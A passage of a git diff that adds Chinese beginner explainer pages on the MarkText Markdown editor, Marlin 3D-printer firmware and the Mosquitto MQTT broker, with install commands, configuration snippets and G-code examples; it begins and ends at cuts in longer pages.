的最佳开源参考之一:从 RF 驱动到 Join 加密,从 EU868 占空比到 Class C 常开接收,层次分明、示例可跑。它像一本带可运行代码的规范注解——即使 Semtech 把创新栈迁往 LoRa Basics Modem,掌握 LoRaMac-node 仍能让你在读任何 LoRaWAN 产品固件、抓包、排 Join 故障时,知道 MAC 层**本该**发生什么。 diff --git a/src/content/docs/projects/marktext.md b/src/content/docs/projects/marktext.md new file mode 100644 index 000000000..68c164164 --- /dev/null +++ b/src/content/docs/projects/marktext.md @@ -0,0 +1,303 @@ +--- +title: MarkText — 实时预览 Markdown 编辑器 +来源: https://github.com/marktext/marktext +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:Word 的「所见即所得」,但底层是 Markdown + +如果你用过 Microsoft Word,一定熟悉这种体验:输入标题,字号立刻变大;加粗、斜体、列表,屏幕上马上变成排版后的样子,而不是一堆格式按钮的「源码」。 + +**MarkText 就是把这种体验搬到 Markdown 上。** 你仍然写的是 `# 标题`、`**粗体**`、`- 列表项` 这类轻量标记语言,但编辑器会在你敲完的瞬间把标记「吃掉」,只留下排版后的成品——这叫 **WYSIWYG(What You See Is What You Get,所见即所得)** 或 **实时预览**。和 Typora 同属这一派:专注写作、界面干净、少分心。 + +与「左边写 Markdown、右边看 HTML 预览」的分屏编辑器(如部分 VS Code 插件)不同,MarkText **只有一块画布**:光标所在行像 Word 一样直接显示效果,需要看原始语法时可切 **Source Code 模式**。文件保存的仍是 `.md` 纯文本,可进 Git、可被任何 Markdown 工具打开——**显示层像 Word,存储层像记事本**。 + +MarkText 是 MIT 许可的开源桌面应用,支持 **Linux、macOS、Windows**;官方仓库 [marktext/marktext](https://github.com/marktext/marktext) 在 GitHub 上有约 5.7 万 star。2026 年原作者恢复维护并发布 **v0.19.0**(TypeScript 迁移、渲染器沙箱加固等),官网为 [marktext.me](https://marktext.me)。 + +零基础学习路径:**安装 → 打开文件夹写第一篇 → 熟悉三种编辑模式 → 用 front matter / 数学公式 / 导出 PDF 完成一篇完整文档**。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:分屏预览打断写作心流 + +传统流程是:左边改 `# 标题`,眼睛要扫到右边确认渲染对不对,再跳回左边继续写。MarkText 把预览合并进编辑区,**视线不用在两栏之间来回跳**,适合写博客、读书笔记、技术文档等长文。 + +### 痛点 2:想要纯文本,又不想学复杂 IDE + +Markdown 本质是 plain text,适合版本管理;但很多人被 VS Code + 插件的配置门槛劝退。MarkText **开箱即用**:安装后双击 `.md` 或拖文件夹进来就能写,没有 `settings.json` 也能完成 90% 日常写作。 + +### 痛点 3:需要导出、公式、任务清单等「正经文档」能力 + +它支持 **CommonMark**、**GitHub Flavored Markdown(GFM)** 以及部分 **Pandoc** 语法;扩展包括 **KaTeX 数学公式**、YAML **front matter**、emoji、脚注、高亮、任务列表等。可 **导出 HTML / PDF**,也可从剪贴板 **粘贴图片** 自动保存到本地并插入引用。 + +### 痛点 4:Linux 上缺少好看的本地 Markdown 编辑器 + +许多 Linux 用户长期把 MarkText 当作「平台上最好看的 Markdown 编辑器之一」。跨平台安装方式统一:macOS 有 `.dmg` / Homebrew,Windows 有 `.exe` / Winget / Chocolatey,Linux 按官方说明安装各发行版包。 + +--- + +## 核心概念拆解 + +### 1. 实时预览(Realtime Preview / WYSIWYG) + +你在编辑器里输入 Markdown 标记;MarkText 在后台解析并 **立即渲染成排版后的 DOM**。输入 `#` 后接空格,该行会变成一级标题样式,井号不再占屏。这与 **marked**、**markdown-it** 等「字符串进、HTML 出」的库不同:MarkText 是 **带 UI 的完整应用**,负责光标、撤销、主题、导出整条链路。 + +理解这一点有助于排查「编辑器里看起来和导出的 PDF 不一致」类问题——例如 [Markdown Guide](https://www.markdownguide.org/tools/mark-text/) 指出:只按一次 Enter 在编辑区可能换行,但导出 HTML/PDF 时不一定产生 `
`,需用行尾空格或反斜杠 `\` 强制换行。 + +### 2. 三种编辑模式 + +| 模式 | 作用 | 类比 | +|------|------|------| +| **默认 WYSIWYG** | 边写边看成品 | Word 普通视图 | +| **Source Code 模式** | 显示原始 Markdown 源码 | Word 的「显示段落标记」+ 纯文本 | +| **Typewriter 模式** | 当前行居中,上下行变淡 | 打字机聚焦当前句 | +| **Focus 模式** | 只高亮当前段落/块 | 禅模式写作 | + +快捷键可在偏好设置里查看;写作长文时 Typewriter / Focus 能减少页面其余内容的视觉干扰。 + +### 3. Markdown 方言与扩展 + +MarkText 声明支持: + +- **CommonMark**:Markdown 的事实标准子集,保证基础语法行为可预期。 +- **GFM**:GitHub 扩展——表格、任务列表 `- [ ]`、删除线 `~~`、围栏代码块等。 +- **选择性 Pandoc**:部分 Pandoc 特有语法(如某些 div 类扩展)在兼容范围内可用。 + +额外扩展:**数学**(`$...$` / `$$...$$` + KaTeX)、**front matter**(文档顶部的 YAML 元数据)、**emoji**(短码或粘贴)。 + +### 4. 主题与导出 + +内置 **Cadmium Light、Material Dark** 等多套主题,分别控制编辑区配色与代码高亮。导出时生成独立 **HTML** 或 **PDF**,适合发邮件、打印、静态托管。复制时可选 **Markdown / HTML / 纯文本** 三种剪贴板格式——写技术博客时经常「在 MarkText 里写好 → 复制 HTML 贴进 CMS」。 + +### 5. 项目结构与维护状态 + +应用基于 **Electron** 构建(渲染进程已加强沙箱:`contextIsolation`、`nodeIntegration: false`)。v0.19.0 起主代码库 **迁移到 TypeScript**,并用 **Pinia** 管理偏好等状态。若你只想「用」而不是「改」,知道它是 Electron 即可——安装包体积会比纯原生编辑器大,但换来跨平台 UI 一致。 + +--- + +## 安装与第一次打开 + +### macOS + +```bash +# Homebrew Cask(需 macOS 11+) +brew install --cask mark-text +``` + +或从 [Releases](https://github.com/marktext/marktext/releases) 下载 `marktext-mac-arm64-*.dmg` / `x64` 对应架构。 + +### Windows + +```powershell +winget install marktext +# 或 +choco install marktext +``` + +### Linux + +按仓库 [Linux 安装说明](https://github.com/marktext/marktext#linux) 选择 AppImage、deb 等格式。 + +**第一次使用建议:** + +1. 启动 MarkText → **File → Open Folder** 打开你的笔记目录(侧边栏会列出文件夹树)。 +2. 新建 `hello.md`,输入下面「示例 1」的内容,观察标题、列表如何即时变成排版。 +3. **Preferences** 里选主题、默认图片保存路径、是否开启 Vim 键位(如有需要)。 + +--- + +## 代码示例 1:一篇带 front matter 的技术笔记 + +MarkText 支持 YAML front matter,适合静态站点生成器(Hugo、Jekyll、Eleventy)或本仓库这类带元数据的文档。 + +```markdown +--- +title: 用 MarkText 写第一篇笔记 +tags: [markdown, 入门] +date: 2026-06-13 +--- + +# 用 MarkText 写第一篇笔记 + +## 为什么选 Markdown + +- **纯文本**:Git diff 友好,不怕专有格式锁死。 +- **易学**:十分钟能覆盖 80% 日常语法。 +- **可迁移**:同一份 `.md` 可在 MarkText、VS Code、Obsidian 间切换。 + +## 任务清单(GFM) + +- [x] 安装 MarkText +- [ ] 写完示例并导出 PDF +- [ ] 把图片粘贴进文档 + +> 提示:在 MarkText 里输入 `>` 加空格,块引用会立刻变成左侧竖线样式。 + +行内代码:`npm install` 这样的片段用反引号包起来。 + +| 列 A | 列 B | +|------|------| +| 实时预览 | 少分心 | +| 导出 PDF | 适合分享 | +``` + +保存后,侧边栏文件名旁不会出现 front matter 的 `#` 号——元数据块通常被编辑器折叠或按主题渲染为文档属性区(视版本与主题而定)。导出 HTML 时,front matter 是否出现在输出里取决于导出逻辑;写静态站时 front matter 常由后续构建工具读取,而非直接给读者看。 + +--- + +## 代码示例 2:数学公式、代码块与脚注 + +技术写作常需要公式和高亮代码块。MarkText 用 **KaTeX** 渲染数学,围栏代码块带语法高亮。 + +````markdown +# 算法笔记:二分查找 + +时间复杂度满足: + +$$ +T(n) = O(\log n) +$$ + +行内公式:设中点 $mid = \lfloor (left + right) / 2 \rfloor$。 + +```python +def binary_search(arr: list[int], target: int) -> int: + lo, hi = 0, len(arr) - 1 + while lo <= hi: + mid = (lo + hi) // 2 + if arr[mid] == target: + return mid + if arr[mid] < target: + lo = mid + 1 + else: + hi = mid - 1 + return -1 +``` + +脚注示例:二分查找要求数组有序[^1]。 + +[^1]: 无序数组需先排序,或改用线性扫描。 + +--- + +~~废弃写法~~:递归版二分在极深数组上可能栈溢出;工程上更常用上面的迭代写法。 +```` + +**使用要点:** + +- 块级公式用 `$$` 独占行;行内用单个 `$`(复杂表达式注意与货币符号冲突)。 +- 代码块首行写语言名(如 `python`)以启用高亮。 +- 脚注 `[^1]` 在 GFM 扩展下支持;导出 PDF 前建议在 MarkText 里预览脚注链接是否正确。 + +--- + +## 代码示例 3:图片与链接(含粘贴工作流) + +```markdown +# 截图说明 + +![MarkText 界面示意](./assets/marktext-screenshot.png) + +参考官方仓库:[marktext/marktext](https://github.com/marktext/marktext) + +自动链接: + + +``` + +**粘贴图片:** 截图后 `Ctrl/Cmd + V`,MarkText 会把图片存到偏好设置指定的目录(如 `./assets`),并插入相对路径的 Markdown 图片语法。这比手动「保存文件 → 写路径」快很多,适合写教程、Bug 报告。 + +**已知小差异:** Markdown Guide 提到,编辑区里尖括号 URL `` 有时字面显示尖括号,但 **导出 HTML/PDF 后链接通常正确**;若以导出结果为准,以浏览器或 PDF 为准即可。 + +--- + +## 快捷键与效率习惯(常见默认,以实际版本为准) + +| 意图 | 典型快捷键 | +|------|------------| +| 加粗 | `Ctrl/Cmd + B` | +| 斜体 | `Ctrl/Cmd + I` | +| 插入链接 | `Ctrl/Cmd + K` | +| 切换 Source Code | 命令面板或菜单 **View** | +| 导出 | **File → Export** | + +段落快捷键:行首输入 `#`、`-`、`*`、`1.` 等,MarkText 会识别并切换块类型——和 Notion、Typora 类似,**用键盘完成结构,比鼠标点工具栏快**。 + +--- + +## MarkText 与相邻工具怎么选 + +| 工具 | 定位 | 和 MarkText 的关系 | +|------|------|-------------------| +| **Typora** | 商业 WYSIWYG Markdown | 体验相近;Typora 收费,MarkText 开源免费 | +| **Obsidian** | 知识库 + 双向链接 | 图关系、插件生态更强;MarkText 更偏「单文件线性写作」 | +| **VS Code + 插件** | 程序员通用 IDE | 适合边写代码边改 README;MarkText 更轻、写作 UX 更专注 | +| **marked / markdown-it** | JS 解析库 | 无 UI;MarkText 内部需要解析器,但用户不直接调用 API | + +若你的目标是 **本仓库 `src/content/docs` 这类 Markdown 文档**:MarkText 足够胜任;front matter 字段与正文分离清晰,配合 Git 提交即可。 + +--- + +## 支持语法速查(基于 Markdown Guide 整理) + +| 元素 | 支持 | 备注 | +|------|------|------| +| 标题、段落、引用、列表 | 是 | 基础 CommonMark | +| 表格、任务列表、删除线 | 是 | GFM | +| 围栏代码块 + 高亮 | 是 | 指定语言名 | +| 脚注、上下标、高亮 | 是 | 扩展语法 | +| 数学 KaTeX | 是 | `$` / `$$` | +| HTML 嵌入 | 是 | 导出时注意消毒/兼容性 | +| Heading ID `{#id}` | 否 | 需后处理或其它工具 | +| Definition List | 否 | 可改用普通列表 | + +--- + +## 常见问题 + +### 换行和段落有什么区别? + +Markdown 里 **空一行** 才是新段落;段内换行要用行尾两空格、`\\` 或 `
`。MarkText 编辑区对单次 Enter 的反馈可能与最终 HTML 不一致——**以导出结果为准**,养成「要硬换行就加 `\`」的习惯。 + +### 文件存在哪里?会不会锁死在专有格式? + +全是 `.md` UTF-8 文本,用任何编辑器都能打开。卸载 MarkText **不会**加密你的文件。 + +### 项目还维护吗? + +2026 年 5 月发布 **v0.19.0**,原作者在 [Issue #4191](https://github.com/marktext/marktext/issues/4191) 说明恢复维护:合并 PR、修 IME 输入法、更新文档与发布流程。长期仍建议关注 Release 页面;关键文档应有 Git 备份。 + +### 和命令行工具如何配合? + +MarkText 不负责 `git commit`;习惯可以是:MarkText 写作 → 终端 `git diff` Review → 提交。也可配置外部打开:在 MarkText 里用系统默认程序打开图片文件(v0.19 相关改进)。 + +--- + +## 动手练习(约 30 分钟) + +1. **十分钟入门**:新建 `journal.md`,写三段:标题、无序列表、一段引用;切换 Source Code 模式对比源码与渲染。 +2. **十分钟进阶**:在同一文件加入表格、任务清单、一段 `python` 代码块;导出 PDF 检查代码高亮是否保留。 +3. **十分钟扩展**:新建 `note-math.md`,写两个 KaTeX 公式(行内 + 块级);粘贴一张截图,确认 `assets` 目录生成图片且相对路径正确。 + +完成三项后,你应能解释:**WYSIWYG 预览、GFM 扩展、front matter、导出链路** 四个核心概念,并独立产出一篇可提交 Git 的 Markdown 文档。 + +--- + +## 延伸资源 + +- 官方仓库:[github.com/marktext/marktext](https://github.com/marktext/marktext) +- 官网与下载:[marktext.me](https://marktext.me) +- 语法对照:[Markdown Guide — MarkText](https://www.markdownguide.org/tools/mark-text/) +- 维护说明:[Maintenance Recovery & Future Plans #4191](https://github.com/marktext/marktext/issues/4191) +- 最新变更:[Release v0.19.0](https://github.com/marktext/marktext/releases/tag/v0.19.0) + +--- + +## 小结 + +MarkText 把 **Word 式即时排版** 和 **Markdown 纯文本** 结合在一起:写作时少分心,保存时仍是最通用的 `.md` 格式。掌握实时预览、三种焦点模式、GFM 扩展与导出,就足够应对博客、读书笔记、项目文档等日常场景。作为零基础者的第一台 Markdown 编辑器,它的学习曲线主要是 **Markdown 语法本身**——而 MarkText 的职责,是让这套语法在屏幕上尽量「隐形」。 diff --git a/src/content/docs/projects/marlin.md b/src/content/docs/projects/marlin.md new file mode 100644 index 000000000..b55216a71 --- /dev/null +++ b/src/content/docs/projects/marlin.md @@ -0,0 +1,246 @@ +--- +title: Marlin Firmware — 3D 打印机的「一体式管家固件」 +来源: 'https://github.com/MarlinFirmware/Marlin' +日期: '2026-06-13' +子分类: 嵌入式 +分类: 操作系统 +provenance: 'pipeline-v3' +--- + +## 是什么 + +**Marlin** 是 [MarlinFirmware/Marlin](https://github.com/MarlinFirmware/Marlin) 维护的开源 **3D 打印机固件**:跑在主控 MCU(如 STM32、AVR)上,负责解析 G-code、规划运动、驱动步进电机、控温、读限位与探针,把切片软件输出的「打印剧本」变成真实的塑料层。 + +日常类比:**住在打印机主板里的全能管家**。 + +想象你点了一份复杂套餐(G-code 文件)。传统做法不是请外卖员(上位机)每走一步都喊一声,而是把 **菜单解读、路线规划、火候控制、开关火、摇锅** 全部交给 **一位住在厨房里的管家(Marlin)**——他脑子(Flash/RAM)不大,但必须在毫秒级反应:该加热到 210°C 时不能犹豫,该在拐角减速时不能算错,该在热敏电阻脱落时立刻关火。Marlin 自 2011 年起为 RepRap / Ultimaker 生态服务,至今仍是全球装机量最大的 3D 打印机固件之一;许多 Creality、Prusa 兼容机出厂或社区改装都基于 Marlin。 + +与 [[klipper]] 的架构对比:Klipper 把「算路径」放到树莓派,MCU 只执行节拍表;Marlin 则是 **All-in-One**——G-code 解析、运动规划、步进脉冲、PID 温控全在同一颗芯片上完成。优点是 **单板、离线、不依赖 Linux 主机**;代价是复杂功能(高速输入整形、多板协同)受 MCU 算力与 Flash 约束,改配置通常要 **重新编译并刷写固件**。 + +## 解决什么问题 + +消费级 3D 打印需要一套 **实时、可配置、可审计** 的底层控制栈: + +| 痛点 | 没有专用固件时 | Marlin 的回应 | +| --- | --- | --- | +| 硬件千差万别 | 每块板引脚、驱动、传感器不同 | `Configuration.h` 用 `#define` 描述你的机器 | +| 切片器只懂 G-code | 主机无法直接 GPIO 步进 | 内建 G-code 解释器 + 运动规划器 | +| 加热失控风险 | 裸 PID 可能无限加热 | 热失控保护(Thermal Runaway)、加热失败监测 | +| 床面不平 | 首层 adhesion 差 | ABL(自动调平)、网格补偿、探针协议 | +| 断电丢进度 | 长打印中断即废 | 可选 Power Loss Recovery | +| 功能开关爆炸 | 全编译固件太大 | PlatformIO 条件编译,未启用模块不进镜像 | + +Marlin 要回答的核心问题是:**如何在资源有限的 MCU 上,安全、精确、可配置地执行 3D 打印所需的全部实时任务?** + +## 核心概念 + +### 1. 配置即编译:`Configuration.h` 与 `Configuration_adv.h` + +Marlin 不用运行时 JSON 描述打印机——它在 **编译期** 用 C 预处理器决定「这台机器有什么」。官方文档 [Configuring Marlin](https://marlinfw.org/docs/configuration/configuration.html) 规定: + +| 文件 | 职责 | +| --- | --- | +| `Configuration.h` | 主板型号、步进驱动、传感器、语言、常用功能开关 | +| `Configuration_adv.h` | 高级选项:热保护参数、Filament Runout、调试、实验特性 | +| `Config.h`(2.1.3+ 可选) | **最小覆盖**:只写你改过的项,替代上述两文件 | + +启用某功能通常是 **取消注释** `#define`;禁用则注释掉或 `#undef`。编译时 Marlin 会检查 `CONFIGURATION_H_VERSION`,版本不匹配会报错并提示迁移项——这是防止「旧配置 + 新源码」 silent break 的安全阀。 + +配套仓库 [MarlinFirmware/Configurations](https://github.com/MarlinFirmware/Configurations) 按 **release 分支** 提供各机型样板;下载 ZIP 时务必选对与固件版本一致的分支。 + +### 2. 数据流水线:G-code → 分段 → 规划器 → 步进 ISR + +Marlin 官方 [Code Structure](https://marlinfw.org/docs/development/code_structure.html) 把运动控制拆成四级: + +``` +(1) G-code 解析 (GcodeSuite) + ↓ +(2) 高层运动:G0/G1/G2/G3 等 → 线性小段 (motion.cpp) + ↓ +(3) Planner 队列:加减速、junction deviation (planner.cpp) + ↓ +(4) Stepper ISR:Bresenham 协调多轴 STEP 脉冲 (stepper.cpp) +``` + +- **G-code 层**:`Marlin/src/gcode/` 下按类别分目录(`motion/`、`temp/`、`bedlevel/`…),统一由 `GcodeSuite` 调度。 +- **分段**:规划器层面 Marlin 主要做 **直线段**;圆弧 G2/G3、Delta/SCARA 运动学、调平补偿会在进入 Planner 前被切成更短的直线。 +- **Planner**:维护块队列(block buffer),在拐角用 junction deviation 等算法限制向心加速度,避免急停急启。 +- **Stepper ISR**:高优先级中断,频率可达 **数万次/秒**,用 Bresenham 算法对齐 X/Y/Z/E 的步进时刻——这是「听起来像打印机在唱歌」的物理来源。 + +理解这条链有助于调试:**层纹、共振、丢步** 往往在 Planner/ISR 参数;**首层、探针** 在 G-code 与 bedlevel 模块;**温度波动** 在 `temperature.cpp` 与 PID。 + +### 3. G-code:主机与固件的通用语言 + +切片器(Cura、PrusaSlicer、Orca)输出 `.gcode` 文本文件,常见指令: + +| 命令 | 含义 | +| --- | --- | +| `G28` | 回原点(Homing) | +| `G0` / `G1` | 快速移动 / 直线插补(含挤出 E) | +| `M104 S210` | 设热端目标温度,**不等待** | +| `M109 S210` | 设热端目标温度,**等到位**(仅加热方向等待) | +| `M140` / `M190` | 热床目标 / 等待热床 | +| `M105` | 上报当前温度 | +| `M500` / `M501` / `M502` | 保存 / 加载 / 恢复 EEPROM 默认 | + +Marlin 文档对每条命令有独立页面,例如 [M104](https://marlinfw.org/docs/gcode/M104.html)。`M104` 在后台继续加热的同时允许移动;首层前常用 `M109` 确保喷嘴已到温。 + +### 4. 热安全:Thermal Runaway 与 Heating Failed + +`Configuration_adv.h` 中的 **THERMAL_PROTECTION** 系列选项实现两层防护: + +1. **Heating failed(加热失败)**:发 `M104`/`M109` 后,若在 `WATCH_TEMP_PERIOD` 内温升不足 `WATCH_TEMP_INCREASE`,判定传感器异常或加热器失效,**停机**。 +2. **Thermal runaway(热失控)**:已到目标温后,若读数长期低于目标超过 `THERMAL_PROTECTION_HYSTERESIS` 并持续 `THERMAL_PROTECTION_PERIOD`,判定失控(例如热敏电阻脱落读数偏低、固件仍加热),**关加热并 halt**。 + +现代 Marlin 在热错误时还会 **Park 喷头**(移离打印件),降低引燃塑料风险。误报时可微调 hysteresis/period,但 **不要为求快而关闭保护**——这是 Anet A8 等早期社区血的教训。 + +### 5. 构建系统:PlatformIO 与条件编译 + +根目录 `platformio.ini` 定义 **default_envs**(如 `STM32F103RC_btt`)。`buildroot/share/PlatformIO/scripts/` 下的脚本会: + +- 读取你的 `#define`,从编译中 **剔除未用源文件**(缩小固件、加快构建); +- 做配置版本预检(preflight-checks)。 + +推荐工具链:**VS Code + PlatformIO**,或 **Auto Build Marlin** 扩展一键编译上传。Arduino IDE 仍可用,但社区主流已是 PlatformIO。 + +### 6. 调平与网格:ABL / UBL / MBL + +- **Manual Mesh (MBL)**:手动探点,适合无探针机器。 +- **Auto Bed Leveling (ABL)**:BLTouch、inductive probe 等自动探床。 +- **Unified Bed Leveling (UBL)**:更灵活的网格存储与编辑。 + +启用后在 `Configuration.h` 选择探针类型与引脚;G-code 侧常用 `G29` 触发探测序列。调平补偿在 Planner 层把 Z 微调叠加到移动上,让喷嘴跟随床面起伏。 + +### 7. EEPROM 与运行时覆盖 + +许多参数(steps/mm、PID、探针偏移)可在运行时用 G-code 修改,并通过 **M500** 写入 EEPROM,重启 **M501** 加载。这减轻「改一行配置就全量重编译」的频率,但 **新增功能开关** 仍须改 `Configuration.h` 并重刷固件。 + +## 代码示例 + +### 示例 1:`Configuration.h` 中的硬件骨架 + +下列片段展示零基础最常改的几项(具体值须对照你的主板与机械结构;勿直接抄进未知机器): + +```cpp +// 配置版本:必须与当前 Marlin 源码要求一致,否则编译报错并提示迁移 +#define CONFIGURATION_H_VERSION 02010300 + +// 主板:决定引脚映射与 HAL(见 Marlin/src/pins/) +#define MOTHERBOARD BOARD_BTT_SKR_MINI_E3_V3_0 + +// 机器显示名(M115、LCD 上可见) +#define CUSTOM_MACHINE_NAME "My Ender-style Printer" + +// 挤出机数量 +#define EXTRUDERS 1 + +// 步进驱动类型(影响 TMC UART/SPI 配置) +#define X_DRIVER_TYPE TMC2209 +#define Y_DRIVER_TYPE TMC2209 +#define Z_DRIVER_TYPE TMC2209 +#define E0_DRIVER_TYPE TMC2209 + +// 每毫米步数(与丝杆导程、微步、齿轮比相关) +#define DEFAULT_AXIS_STEPS_PER_UNIT { 80, 80, 400, 93 } + +// 热端传感器类型与引脚(须与硬件一致) +#define TEMP_SENSOR_0 1 // 例如 EPCOS 100K +#define HEATER_0_PIN PC8 + +// 启用自动调平与 BLTouch(示例) +#define BLTOUCH +#define Z_SAFE_HOMING +#define Z_SAFE_HOMING_X_POINT 110 +#define Z_SAFE_HOMING_Y_POINT 110 +``` + +改完后在 PlatformIO 选择对应 `env` 编译。若报错 `error: #error "..."`,按编译器提示逐项更新配置——这是 Marlin 2.x 的 **自迁移向导**。 + +### 示例 2:切片起始 G-code 与温度等待 + +下面是一段典型的 **起始 G-code**(可放在 slicer 的「Print Start G-code」),说明 Marlin 如何被主机驱动: + +```gcode +; 关风扇、设单位、用绝对坐标 +M107 +G21 +G90 + +; 热端 / 热床升温(M109/M190 会阻塞直到到位) +M140 S60 ; 热床目标 60°C(不等待) +M104 S210 ; 热端目标 210°C(不等待) +M190 S60 ; 等待热床到 60°C +M109 S210 ; 等待热端到 210°C + +; 回原点与调平 +G28 ; 全轴 Homing +G29 ; 自动调平(需已在 Configuration.h 启用 ABL/UBL) +G1 Z5 F3000 ; 抬 Z 免刮床 + +; 清嘴、开始首层(示意) +G1 X0.1 Y20 Z0.3 F5000 +G1 X0.1 Y200 E15 F1500 +G1 X0.4 Y200 F5000 +G92 E0 ; 挤出量归零 +``` + +若打印中需 **中断加热等待**,可发送 `M108`(需启用 `EMERGENCY_PARSER` 时响应更快)。打印结束常用 `M104 S0`、`M140 S0` 降温,配合 `M84` 关闭步进省电。 + +### 示例 3:`platformio.ini` 选择编译环境 + +Marlin 为多板维护独立 environment;你通常只需改 **default_envs** 一行: + +```ini +[platformio] +src_dir = Marlin +boards_dir = buildroot/share/PlatformIO/boards +default_envs = STM32G0B1RE_btt + +[env:STM32G0B1RE_btt] +extends = env:STM32G0B1RE +board = marlin_STM32G0B1RE +``` + +在 VS Code 底部状态栏切换 **Project Environment**,再 **Build** / **Upload**。首次成功编译后,用 `M115` 确认固件版本与 `DETAILED_BUILD_VERSION` 是否为你预期分支。 + +## 从零上手路径 + +1. **确认硬件**:主板型号、驱动(A4988/TMC2209…)、探针、热敏电阻类型、机械行程。 +2. **拉匹配版本**:克隆 Marlin 与 Configurations **同一 release 分支**;复制最接近的 example config 到 `Marlin/` 目录。 +3. **改 Configuration.h**:`MOTHERBOARD`、steps/mm、传感器、`EXTRUDERS`、驱动类型、安全选项。 +4. **编译刷写**:PlatformIO Upload;通过 USB 连接后用 Pronterface、OctoPrint、Mainsail(若仍用 Marlin 串口)发 `M115` 验证。 +5. **Tune**:PID `M303`,挤出 `M92 E...`,探针 Z offset `M851 Z...`,满意后 `M500` 保存。 +6. **读文档**: [marlinfw.org](https://marlinfw.org/) 的 Configuration、G-code、Feature 页;改一项查一项,避免凭记忆乱开宏。 + +## 与 Klipper 如何选 + +| 维度 | Marlin | Klipper | +| --- | --- | --- | +| 架构 | 单 MCU 全包 | 主机 + MCU 分工 | +| 改配置 | 多数功能要重编译 | `printer.cfg` 重启服务 | +| 主机依赖 | 无(可纯 SD 打印) | 需要 Linux 类主机 | +| 步进 timing | MCU 内 Bresenham ISR | 主机算精确时刻表 | +| 社区机型 | 极多出厂/改装案例 | 增长快,需自行配 cfg | +| 适合谁 | 入门机、离线、单板 | 高速、共振补偿、多 MCU | + +许多玩家 **先用 Marlin 熟悉 G-code 与机械**,再迁 Klipper;二者 G-code 表面相似,但配置哲学完全不同。 + +## 常见坑 + +- **配置版本与固件版本不匹配**:从 GitHub 随便下 ZIP 极易踩坑;用 Configurations 仓库 **同名分支**。 +- **引脚抄错**:同系列板(如 SKR Mini E3 V2 vs V3)引脚不同,`MOTHERBOARD` 必须精确。 +- **ABL 未设 Z safe homing**:探针在 bed 外时 `G28` 可能把 nozzle 扎床。 +- **关闭热保护**:Never do this on unattended prints. +- **Steps/mm 未校准**:XYZ 尺寸不准、E 过度挤出,先校准再怪切片。 + +## 延伸阅读 + +- 官方配置:[Configuring Marlin](https://marlinfw.org/docs/configuration/configuration.html) +- 代码结构:[Code Structure](https://marlinfw.org/docs/development/code_structure.html) +- G-code 索引:[marlinfw.org/meta/gcode](https://marlinfw.org/meta/gcode/) +- 对比阅读:本站 [[klipper]] 笔记(主机/MCU 分离架构) +- 最小 Config.h:[PR #27338](https://github.com/MarlinFirmware/Marlin/pull/27338)(2.1.3+ 只写差异项) + +--- + +Marlin 的学习曲线集中在 **「读 Configuration 注释 + 敢编译 + 会用 G-code 验证」**。它不像 Klipper 那样改 cfg 即生效,但 **单文件固件、离线 SD 打印、海量机型范例** 使它仍是零基础理解 3D 打印机实时控制的最佳入口之一:先搞懂 G-code → 分段 → Planner → Stepper 这条链,再读 `#define` 开关,你会 suddenly 明白切片器里每一行起始 G-code 在指挥管家做什么。 diff --git a/src/content/docs/projects/mosquitto.md b/src/content/docs/projects/mosquitto.md new file mode 100644 index 000000000..f74288128 --- /dev/null +++ b/src/content/docs/projects/mosquitto.md @@ -0,0 +1,281 @@ +--- +title: Eclipse Mosquitto — 轻量级 MQTT 消息代理,物联网的「社区广播站」 +来源: 'https://github.com/eclipse-mosquitto/mosquitto' +日期: '2026-06-13' +子分类: 嵌入式 +分类: 操作系统 +难度: '初级' +provenance: 'pipeline-v3' +--- + +## 是什么 + +**Eclipse Mosquitto** 是 [eclipse-mosquitto/mosquitto](https://github.com/eclipse-mosquitto/mosquitto) 维护的开源 **MQTT 消息代理(broker)**。它实现了 MQTT 协议 5.0、3.1.1 和 3.1,负责接收客户端发布的消息、按主题(topic)路由、并按 QoS 等级投递给订阅者。同一项目还提供 C 语言客户端库 **libmosquitto**,以及命令行工具 `mosquitto_pub`、`mosquitto_sub`、`mosquitto_passwd` 等。 + +日常类比:**小区里的社区广播站**。 + +传统 HTTP 像「一对一打电话」——你要找谁,就得知道对方的号码,对方不在线就失败。MQTT + Mosquitto 则像广播站:住户(设备/应用)不用彼此认识,只要订阅自己关心的频道(topic),广播站(broker)就会把消息推给所有订阅该频道的人。有人发「3 号楼电梯故障」(publish),订阅了 `building/3/elevator/#` 的物业 App、维修工手机、大屏看板(subscriber)会同时收到,发消息的人不必知道谁在听。 + +Mosquitto 的定位是**轻、小、快**:从树莓派到 x86 服务器都能跑,RAM 占用通常在 MB 级,是智能家居、工业传感、车联网边缘网关里最常见的 MQTT broker 之一。公开测试实例见 [test.mosquitto.org](https://test.mosquitto.org/);生产环境建议自建并配置认证与 TLS。 + +与 [[rabbitmq-server]] 的对比:RabbitMQ 原生是 AMQP(队列 + 交换机),MQTT 只是插件之一;Mosquitto **专精 MQTT**,协议栈更薄、部署更轻,但功能面(复杂路由、多协议、管理 UI)不如 RabbitMQ 全家桶。和 [[nginx]] 也不同——Nginx 终止 HTTP 请求并反向代理;Mosquitto 处理的是**长连接、发布/订阅语义**的 MQTT 会话。 + +## 解决什么问题 + +物联网和边缘场景里,设备数量大、网络不稳定、带宽贵,HTTP 轮询(设备每隔 N 秒问一次「有新数据吗?」)既费电又浪费流量。MQTT 用**持久 TCP 连接 + 推送**解决这类问题,Mosquitto 则是把这套协议跑成可运维的服务: + +| 痛点 | 没有 broker 时 | Mosquitto 的回应 | +| --- | --- | --- | +| 设备互不认识 | 每台设备要知道对端 IP,拓扑一变就全改配置 | 全部连 broker,只关心 topic 名字 | +| 弱网/断线 | TCP 直连丢消息无标准重试 | QoS 0/1/2 分级保证,会话可恢复 | +| 新设备上线要历史状态 | HTTP 得额外查 API | Retained message 保留「最后已知值」 | +| 资源受限 | 重量级消息中间件装不进 MCU 网关 | 单二进制、配置简单,适合嵌入式 Linux | +| 安全暴露 | 裸奔端口被扫 | 密码文件、ACL、TLS、MQTT 5 动态安全插件 | + +核心要回答的问题:**如何用最小运维成本,让成百上千个客户端通过主题名松耦合地交换消息?** + +## 核心概念 + +### 1. Broker / Client / Topic:三角关系 + +``` +Publisher ──publish──► Mosquitto Broker ──deliver──► Subscriber(s) + topic: home/living/temp subscribe: home/+/temp +``` + +- **Broker**:Mosquitto 进程本身,默认监听 `1883`(明文 MQTT)或 `8883`(TLS)。 +- **Client**:任何连上来的发布者或订阅者——可以是 `mosquitto_pub`、Python `paho-mqtt`、ESP32 